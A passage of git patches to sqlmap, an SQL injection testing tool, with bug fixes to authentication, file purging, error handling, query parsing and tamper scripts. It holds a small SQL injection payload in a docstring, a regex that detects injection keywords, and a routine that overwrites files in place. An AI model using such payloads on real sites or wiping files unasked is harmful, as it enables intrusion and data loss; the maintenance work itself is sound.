refs >= U+0100; smaller ones already handled at byte-level) + def _(match): + retVal = match.group(0) + try: + retVal = _unichr(int(match.group(1), 16)) + except (ValueError, OverflowError): + pass + return retVal + page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page) + # e.g. ζ page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) else: diff --git a/lib/utils/api.py b/lib/utils/api.py index 8cd8bcfff..9162bb98d 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -327,10 +327,10 @@ def check_authentication(): except: request.environ["PATH_INFO"] = "/error/401" else: - if creds.count(':') != 1: + if ':' not in creds: request.environ["PATH_INFO"] = "/error/401" else: - username, password = creds.split(':') + username, password = creds.split(':', 1) if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): request.environ["PATH_INFO"] = "/error/401" diff --git a/lib/utils/purge.py b/lib/utils/purge.py index b1c0e6cd4..a290f93f7 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -13,11 +13,9 @@ import stat import string from lib.core.common import getSafeExString -from lib.core.common import openFile -from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import logger -from thirdparty.six import unichr as _unichr +from lib.core.settings import PURGE_BLOCK_SIZE def purge(directory): """ @@ -46,12 +44,25 @@ def purge(directory): except: pass - logger.debug("writing random data to files") + logger.debug("overwriting file contents") for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with openFile(filepath, "w+") as f: - f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) + if filesize: + # Note: NIST SP 800-88 ("Clear") / DoD 5220.22-M style multi-pass in-place overwrite + # (zeros, ones, random) forcing each pass to disk; performed BEFORE the truncation below + # so the original bytes are actually overwritten and not just released to free blocks. + # Written in bounded blocks so peak memory stays O(PURGE_BLOCK_SIZE), not O(filesize) + with open(filepath, "r+b") as f: + for getBlock in (lambda n: b"\x00" * n, lambda n: b"\xff" * n, lambda n: os.urandom(n)): + f.seek(0) + remaining = filesize + while remaining > 0: + count = min(PURGE_BLOCK_SIZE, remaining) + f.write(getBlock(count)) + remaining -= count + f.flush() + os.fsync(f.fileno()) except: pass diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 1d4dccc2c..d6d702ffc 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -82,7 +82,7 @@ class SQLAlchemy(GenericConnector): engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() - except (TypeError, ValueError): + except (TypeError, ValueError) as ex: if "_get_server_version_info" in traceback.format_exc(): try: import pymssql @@ -90,10 +90,14 @@ class SQLAlchemy(GenericConnector): raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass + # Note: surface (as a proper SqlmapConnectionException) instead of silently continuing with self.connector left None + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") else: - pass + # Note: raise as SqlmapConnectionException (like the generic handler below) so the caller's native-connector + # fallback engages and no raw TypeError/ValueError can reach sqlmap's top-level handler + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) except SqlmapFilePathException: raise except Exception as ex: From 10c464cd6f73ddc2bd186fa1e6a3c5224ea369ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 21:40:44 +0200 Subject: [PATCH 006/165] Minor bug fixes --- data/txt/sha256sums.txt | 8 ++++---- lib/core/agent.py | 2 +- lib/core/common.py | 18 +++++++++++++++--- lib/core/settings.py | 4 ++-- lib/techniques/blind/inference.py | 3 ++- 5 files changed, 24 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 92ae9257c..8f4d7fc02 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,9 +165,9 @@ b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller c1881685bef8504ded32c51abed00ab51849008c84b74e8a66117e5f5041b3df lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -bc655c5f09a4048e53d2fec5f65e9e45024c2ad9882b8824b0d338917fd6496b lib/core/agent.py +b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -c91b6b9429a50d28b88334e3f88557d40a01893a7e69c30186c2f6efd0ce9906 lib/core/common.py +2e5ee80b24bd6dd961b64357e745012145a44d52c49a525d8f5f5e893a8ccb8d lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -40244898d0eb5e2634a6794d78fa29315e9e4b9c6f773133a29dd20259bc63a0 lib/core/settings.py +7d21077e81e28eba77cde0e655aa5750c3f80a678ac4cd6b9b863da5137bb776 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -230,7 +230,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -ea815192edb20b5f60e72a7eded9e2942c9e1dcb378b86f101ee69cf8de149f3 lib/techniques/blind/inference.py +7b62bbb4d94f1271380a44142b407dc9eeed1d8b0319cdad57493dc1a12caff8 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py diff --git a/lib/core/agent.py b/lib/core/agent.py index 9c109238a..ea0f206b7 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1117,7 +1117,7 @@ class Agent(object): limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) - elif Backend.isDbms(DBMS.MSSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): forgeNotIn = True if " ORDER BY " in limitedQuery: diff --git a/lib/core/common.py b/lib/core/common.py index e486a6fe1..87b0f9863 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5267,10 +5267,21 @@ def zeroDepthSearch(expression, value): retVal = [] depth = 0 - for index in xrange(len(expression)): - if expression[index] == '(': + quote = None + index = 0 + while index < len(expression): + char = expression[index] + if quote: # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y') + if char == quote: + if index + 1 < len(expression) and expression[index + 1] == quote: # escaped quote (e.g. '') + index += 1 + else: + quote = None + elif char in ('"', "'"): + quote = char + elif char == '(': depth += 1 - elif expression[index] == ')': + elif char == ')': depth -= 1 elif depth == 0: if value.startswith('[') and value.endswith(']'): @@ -5278,6 +5289,7 @@ def zeroDepthSearch(expression, value): retVal.append(index) elif expression[index:index + len(value)] == value: retVal.append(index) + index += 1 return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index c64fe424e..e6de1b496 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.100" +VERSION = "1.10.6.101" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -624,7 +624,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'" DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) +CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) # Patterns often seen in HTTP headers containing custom injection marking character '*' PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 42c20f686..1758d9808 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -711,7 +711,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue - hashDBWrite(expression, finalValue) + if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one + hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) From 03fb84c5bea7c05d6053353c77194d3c96d737ff Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 21:44:04 +0200 Subject: [PATCH 007/165] Minor bug fixes --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/connect.py | 5 +---- lib/utils/api.py | 2 +- 4 files changed, 6 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8f4d7fc02..a3679ffbb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7d21077e81e28eba77cde0e655aa5750c3f80a678ac4cd6b9b863da5137bb776 lib/core/settings.py +8277cf9d33b3eda382c651f98a3aecf655419ff7f1aa62c8666855a3f336558a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c lib/request/comparison.py -c4a0759ee29ce8a29648090660dc273494abef9bda52430c38e41675a9b6ac6a lib/request/connect.py +ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py @@ -241,7 +241,7 @@ f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0 lib/techniques/union/use.py -7c33894b640d93fc8062781525586791479c9984c3de04283826642e5c7c4374 lib/utils/api.py +8720a744d46471fe46f5a67e16b2d4147339c6685fbf0fdf50f1a40e9a75c23a lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e6de1b496..2a915cbf8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.101" +VERSION = "1.10.6.102" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index d83708db2..b66c0530c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1626,10 +1626,7 @@ class Connect(object): if payload is None: value = value.replace(kb.customInjectionMark, "") else: - try: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) - except re.error: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), lambda _: payload, value) # Note: function replacement inserts payload literally - avoids re.sub interpreting backslashes / group refs (e.g. \1, \g<...>) in the payload return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) diff --git a/lib/utils/api.py b/lib/utils/api.py index 9162bb98d..4a4559635 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -331,7 +331,7 @@ def check_authentication(): request.environ["PATH_INFO"] = "/error/401" else: username, password = creds.split(':', 1) - if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): + if not (safeCompareStrings(username.strip(), DataStore.username or "") and safeCompareStrings(password.strip(), DataStore.password or "")): # Note: constant-time comparison (mirrors is_admin) to avoid a timing side-channel on the credentials request.environ["PATH_INFO"] = "/error/401" @hook("after_request") From d42e50367e2d52471d8c1a278bb13efb8a27962b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 00:41:38 +0200 Subject: [PATCH 008/165] Fixing some tamper script bugs --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- tamper/escapequotes.py | 7 ++++++- tamper/percentage.py | 2 ++ 4 files changed, 12 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a3679ffbb..e61b94340 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8277cf9d33b3eda382c651f98a3aecf655419ff7f1aa62c8666855a3f336558a lib/core/settings.py +adb776e7b2a3b238fcde22d6b4ca982b33ba949fac5fc4d1e1c4b3cd00c74cc6 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -513,7 +513,7 @@ ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/comment 1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8 tamper/equaltolike.py c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d tamper/equaltorlike.py -d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py +d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205 tamper/escapequotes.py 0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py 89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5 tamper/halfversionedmorekeywords.py 76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022 tamper/hex2char.py @@ -535,7 +535,7 @@ b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecu 687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py 07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py -88393d8062c76e402b811872a335db92b457aeca906835c751274b714def9e7e tamper/percentage.py +0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba tamper/percentage.py 5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py 3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0 tamper/randomcase.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a915cbf8..469e819d5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.102" +VERSION = "1.10.6.103" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index aba948a06..0ccbc0cb5 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -20,4 +20,9 @@ def tamper(payload, **kwargs): '1\\\\" AND SLEEP(5)#' """ - return payload.replace("'", "\\'").replace('"', '\\"') + retVal = payload + + if payload: + retVal = payload.replace("'", "\\'").replace('"', '\\"') + + return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index 36c87dadb..6230e2fa5 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ + retVal = payload + if payload: retVal = "" i = 0 From 61d327aae13c467767bab72cfd1c18ded544c788 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 01:11:53 +0200 Subject: [PATCH 009/165] Minor patch of RestrictedUnpickler --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 7 ++++++- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e61b94340..e93622107 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,13 +182,13 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py -2e66d74a4d9adb9ce30f48e22ab83b7fdccb54e7ea7b74a6104bda7d80a71a7a lib/core/patch.py +ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -adb776e7b2a3b238fcde22d6b4ca982b33ba949fac5fc4d1e1c4b3cd00c74cc6 lib/core/settings.py +aac10c0b7178194553609c1eca980c14d0ae3f0e013341a8a9bcb018ed3faf28 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index 0b3bd716e..19acde6ef 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -185,8 +185,13 @@ def dirtyPatches(): # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled def find_class(self, module, name): + # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one + # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing + # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below. + if module == "_codecs" and name == "encode": + pass # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.) - if module in ("builtins", "__builtin__"): + elif module in ("builtins", "__builtin__"): if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"): raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name)) # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict) diff --git a/lib/core/settings.py b/lib/core/settings.py index 469e819d5..cd5f379c8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.103" +VERSION = "1.10.6.104" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, 